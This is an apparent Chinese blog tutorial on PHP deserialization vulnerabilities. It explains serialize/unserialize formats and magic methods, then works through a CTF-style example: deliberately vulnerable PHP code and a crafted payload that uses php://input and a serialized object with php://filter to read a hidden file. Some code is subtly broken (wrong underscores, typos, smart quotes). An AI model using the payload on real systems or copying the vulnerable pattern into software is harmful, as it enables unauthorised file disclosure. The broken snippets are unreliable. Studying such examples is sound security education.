zoukankan      html  css  js  c++  java
  • php _weakup()反序列化漏洞

    概念&原理

    序列化就是使用 serialize() 将对象用字符串的方式进行表示;
    反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程。
    序列化的对象可以是class或者是ArrayString对象

    序列化与反序列化的作用

    对象是在内存中存储的数据类型,其寿命随着生成程序的终止而终止。为了将对象的状态保存下来,在需要的时候将其恢复,使用序列化将对象转化为二进制字符串进行保存。用于对象的传递。

    对象序列化

    示例代码

    <?php
    class Person{
    private $name="Thinking";
      private $sex='man';
      function say($name,$sex){
      echo 'My name is'.$name.'I am a'.$sex;
      }
    }
    serialize(new Person);
    //结果为:O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
    $B=array('name'=>'Thinking','sex'=>'man');
    echo serialize($B);
    //result:a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;} 
    ?>
    

    对于结果:
    O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
    a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
    结构为:
    对象类型:对象名长度:"对象名":对象成员变量个数:{变量1类型:变量名1长度:变量名1;参数1类型:参数1长度:参数1...}
    对象类型:用O表示,Array类型用a表示
    变量和参数类型:string用s表示,int用i表示,Array用a表示
    符号:参数与变量之间用;隔开,同一参数与变量之间的数据用:隔开。

    反序列化

    概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后用于对象的操作。
    示例;

    <?php
    $saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;
    var_dump(unserialize($saveData));
    ?>
    //output
    class _PHP_Incomplete_Class#1(3){
    public $_PHP_Incomplete_Class_Name=>
    string(6) "Person"
    public $Person name=>
    string(8) "Thinking"
    public $Person sex=>
    string(3) "man"
    }
    

    反序列化存在的问题

    问题产生的原因:漏洞的根源在于unserialize()函数的参数是可控的。如果反序列化对象中存在魔术方法,而且魔术方法的代码或者变量可控,就可能产生反序列化漏洞。
    魔术方法即特殊的函数,魔术函数,其命名以_开头。
    反序列化的漏洞中常见的魔术方法:
    _construct():在对象创建的时候调用 如使用new操作符创建一个新的实例时,调用该方法。【构造方法】
    _destruct():在脚本运行结束时被自动调用 在销毁一个类之间执行析构方法
    _sleep():在对象被序列化的时候调用 该函数必须返回一个数组或者对象,一般返回的是当前的对象$this,返回的 值将被用来做序列化的值,如果不返回,序列化失败
    _wakeup():在反序列化为对象的时候调用
    _toString():直接输出对象引用时自动被调用,该方法必须返回一个字符串,否则产生一个E_RECOVERABLE_ERROR级别的错误。

    例题

    //index.php
    <?php
    $user=_$GET["user"];
    $file=$_GET["file"];
    $pass=$_GET["pass"];
    if(isset($user)&&(file_get_contents('$user1','r')==="the user is admin")){
    echo "hello admin!<br>";
      if(preg_match("/f1a9/",$file)){
            exit();
      }else{
      include($file);//class.php
        $pass=unserialize($pass);
        echo $pass;
      }
    }else{
        echo "you are not admin";
    }
    ?>
    //class.php
    <?php
    class Read{//f1a9.php
        public $file;
        public function _toString(){
        if(isset($this->file)){
        echo file_get_contents($this->file);
    }
    return "_toString was called";
    }
    }
    ?>
    

    构造payload:
    GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}
    POST DATA:the user is admin
    经过请求可以得到经过base64编码的f1a9.php。

  • 相关阅读:
    SNMP的安全隐患及对策
    jsp+servlet+Tomcat+mysql实现用户注册、登录、查看、修改实例之——信息修改
    jsp+servlet+Tomcat+mysql实现用户注册、登录、查看、修改实例之——信息查看
    jsp+servlet+Tomcat+mysql实现用户注册、登录、查看、修改实例之——用户删除
    多线程的陷阱
    安装部署FastDFS
    你的知识需要管理
    1、什么是接口测试
    2、接口测试流程
    软件测试生命周期
  • 原文地址:https://www.cnblogs.com/liuju/p/12380615.html
Copyright © 2011-2022 走看看